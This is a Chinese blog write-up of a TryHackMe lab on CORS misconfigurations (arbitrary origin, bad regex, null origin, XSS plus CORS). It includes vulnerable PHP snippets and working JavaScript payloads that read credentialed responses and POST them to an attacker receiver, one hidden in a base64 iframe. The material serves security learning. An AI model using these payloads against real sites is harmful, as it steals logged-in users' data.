Tryhackme CORS & SOP

1.该房间给出的cors定义

跨域资源共享 (CORS) 是一种由 HTTP 标头定义的机制,它允许服务器指定如何从不同来源请求资源。虽然同源策略 (SOP) 默认限制网页只能向同一域发出请求,但 CORS 允许服务器声明此策略的例外情况,从而允许网页在受控条件下从其他域请求资源。

CORS 通过一组 HTTP 标头运作,服务器将这些标头作为响应的一部分发送给浏览器。这些标头告知浏览器服务器的 CORS 策略,例如允许哪些来源访问资源、允许哪些 HTTP 方法以及请求中是否包含凭据。需要注意的是,服务器不会基于 CORS 阻止或允许请求;而是处理请求并在响应中包含 CORS 标头。然后,浏览器解析这些标头,并根据指定的规则,通过授予或拒绝网页 JavaScript 对响应的访问权限来强制执行 CORS 策略

2.Arbitrary Origin vulnerability 任意来源漏洞

利用示意图

                                                                 image

 corssop.thm模拟存在cors漏洞的网站,当我们访问arbitrary.php带上任意origin时,响应头部都会显示我们给出的任意来源

image

服务器漏洞代码:

if (isset($_SERVER['HTTP_ORIGIN'])){
    header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
    header('Access-Control-Allow-Credentials: true');
}

 利用过程:

第一步:诱导访问 (Step 1 & 2)

  动作: 受害者在登录了目标网站(corssop.thm)的状态下,由于某种原因(比如点击了钓鱼邮件里的链接),访问了攻击者控制的恶意网站 evilcors.thm

  结果: 攻击者的服务器返回了一个精心构造的网页 exploit.html。这个网页里隐藏了一段 JavaScript 代码。

第二步:发起跨域请求 (Step 3)

  动作: 受害者的浏览器在后台执行了 exploit.html 里的代码。这段代码强制浏览器向目标网站 corssop.thm/arbitrary.php 发起一个请求。

  关键点: 因为受害者之前登录过目标网站,浏览器在发请求时会自动带上受害者的 Cookie 或认证凭据。

第三步:目标网站“开门揖盗” (Step 4)

  动作: 目标网站收到了请求。由于它的 CORS 配置错误(设置了 Access-Control-Allow-Origin: http://evilcors.thm 并且开启了 Access-Control-Allow-Credentials: true),它认为这个来自 evilcors.thm 的请求是合法的。

  结果: 目标网站正常返回了敏感数据(比如用户的个人信息、API Key 等)。

第四步:数据外泄 (Step 5)

  动作: 浏览器收到了带有敏感数据的响应。由于 CORS 策略允许该跨域读取,exploit.html 里的 JS 代码现在可以读取到这些数据。

  最终结果: JS 代码立即通过异步请求(AJAX),将读取到的敏感数据发送到攻击者的窃取服务器 (Exfiltrator Server)。

具体实现:

http://exploit.evilcors.thm/是我们控制的存在漏洞代码的服务器,该漏洞利用服务器包含一段现有的 JavaScript 代码,用于向目标应用程序发送跨域请求。

漏洞js代码模板

 

<html>
  <head>
  <title>Data Exfiltrator Exploit</title>
  <script>
    //Function which will make CORS request to target application web page to grab the HTTP response
    function exploit() {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var all = this.responseText;
        exfiltrate(all);
     }
    };
    xhttp.open("GET", "http://corssop.thm/arbitrary.php", true);
    xhttp.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,\/;q=0.8");
    xhttp.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
    xhttp.withCredentials = true;
    xhttp.send();
    }

    function exfiltrate(data_all) {
          var xhr = new XMLHttpRequest();
          xhr.open("POST", "http://MACHINE_IP/receiver.php", true); //Replace the URL with attacker controlled Server

          xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
          xhr.withCredentials = true;
          var body = data_all;
          var aBody = new Uint8Array(body.length);
          for (var i = 0; i < aBody.length; i++)
            aBody[i] = body.charCodeAt(i);
          xhr.send(new Blob([aBody]));
    }
    </script>
</head>
<body onload="exploit()">
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;">
<textarea id="load" style="width: 1183px; height: 305px;">

 

 

 

更改其中要访问和发送数据的网站地址

屏幕截图 2026-04-09 141626

上面改为存在cors漏洞的网址,下面是窃取敏感信息的服务器,更改后记得保存

image

 

这里在kali上是在/var/www/html/即网站根目录创建两个文件

data.txt并且要chmod 0777给予权限才能写入,如下

image

 receiver.php

image

 这里两个文件是用来收取信息并且存入文件的,可以放在自己启动的vps如python等,这里我用的是apache

如果使用的是apache,记得使用systemctl start apache2启用apache

点击view会跳转页面

image

 在新页面打开开发者工具,点击network查看是否发送了请求,以此判断payload是否设置正确

image

 然后点击send即可发送给受害者恶意链接,一旦受害者点击机会触发漏洞,将敏感信息发送到我们控制的服务器上

image

 查看/var/www/html(或你自己的网站根目录下)的data.txt文件即可看到受害者的一些敏感信息

image

 

3.Bad Regex in Origin 错误的正则匹配cors

 和上一种漏洞差不多,是由于配置不当可以包含与网站同域名的其他域名导致绕过,因为我们的恶意服务器域名http://corssop.thm.evilcors.thm/已经包含了目标网站域名绕过了正则匹配限制,只需更改访问网站http://corssop.thm/badregex.php即可,其他不变

(注意,这题和上题的存在恶意js的域名不一样,这一题是要匹配目标网站域名)

服务器漏洞代码:

if (isset($_SERVER['HTTP_ORIGIN']) && preg_match('#corssop.thm#', $_SERVER['HTTP_ORIGIN'])) {
    header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']."");
    header('Access-Control-Allow-Credentials: true');
}

image

 

4. Null Origin

某些应用程序可能存在特殊用例,需要支持来自非 Web 浏览器环境或不发送标准来源的非常规客户端的交互。允许使用“null”来源可能是一种变通方法,但出于安全考虑,通常不建议这样做。
与之前的技术相比,利用空源漏洞通常需要利用应用程序错误地信任请求的“空”源的情况。这种情况可能发生在应用程序的 CORS 策略配置错误,导致其接受来自“空”源的请求时。
当使用 file:/// 协议在本地加载 HTML 页面或在 iframe 中加载 HTML 页面时,通常会出现“null”来源。
服务端代码:
<?php
header('Access-Control-Allow-Origin: null');
header('Access-Control-Allow-Credentials: true');
?>

image

 


XSS + CORS
我们可以利用位于 http://corssop.thm/xss.php的易受攻击的应用程序,将 XSS 攻击与 CORS 攻击结合起来。该应用程序旨在接收 JavaScript 或 HTML 代码并将其保存到数据库中。这意味着可以将 JavaScript 或 HTML 代码注入到该应用程序中,一旦受害者访问该应用程序,恶意代码就会被执行。
http://corssop.thm/xss.php
<div style="margin: 10px 20px 20px; word-wrap: break-word; text-align: center;">
    <iframe id="exploitFrame" style="display:none;"></iframe>
    <textarea id="load" style="width: 1183px; height: 305px;"></textarea>
  </div>

  <script>
    // JavaScript code for the exploit, adapted for inclusion in a data URL
    var exploitCode = `
      <script>
        function exploit() {
          var xhttp = new XMLHttpRequest();
          xhttp.open("GET", "http://corssop.thm/null.php", true);
          xhttp.withCredentials = true;
          xhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
              // Assuming you want to exfiltrate data to a controlled server
              var exfiltrate = function(data) {
                var xhr = new XMLHttpRequest();
                xhr.open("POST", "http://192.168.132.164:80/receiver.php", true);
                xhr.withCredentials = true;
                var body = data;
                var aBody = new Uint8Array(body.length);
                for (var i = 0; i < aBody.length; i++)
                  aBody[i] = body.charCodeAt(i);
                xhr.send(new Blob([aBody]));
              };
              exfiltrate(this.responseText);
            }
          };
          xhttp.send();
        }
        exploit();
      <\/script>
    `;

    // Encode the exploit code for use in a data URL
    var encodedExploit = btoa(exploitCode);

    // Set the iframe's src to the data URL containing the exploit
    document.getElementById('exploitFrame').src = 'data:text/html;base64,' + encodedExploit;
  </script>
当受害者与漏洞利用程序交互时(例如,通过访问链接或查看恶意构造的页面),XSS 有效载荷就会执行。

打开开发者工具 > network。应该有两个 XHR 连接。第一个请求发送到目标网站 (null.php),第二个请求发送到外泄服务器。

image

 可以看到这里请求的origin为null

image

 

域名是 corssop.thm。
由于请求源自 iframe,因此 origin 为 null。
响应中为null

image


一旦更新后的漏洞利用程序保存,会收到受害者发送的包含 flag 的 POST 请求。

image

 

 


posted @ 2026-04-09 15:22  Morphoko  阅读(29)  评论(0)    收藏  举报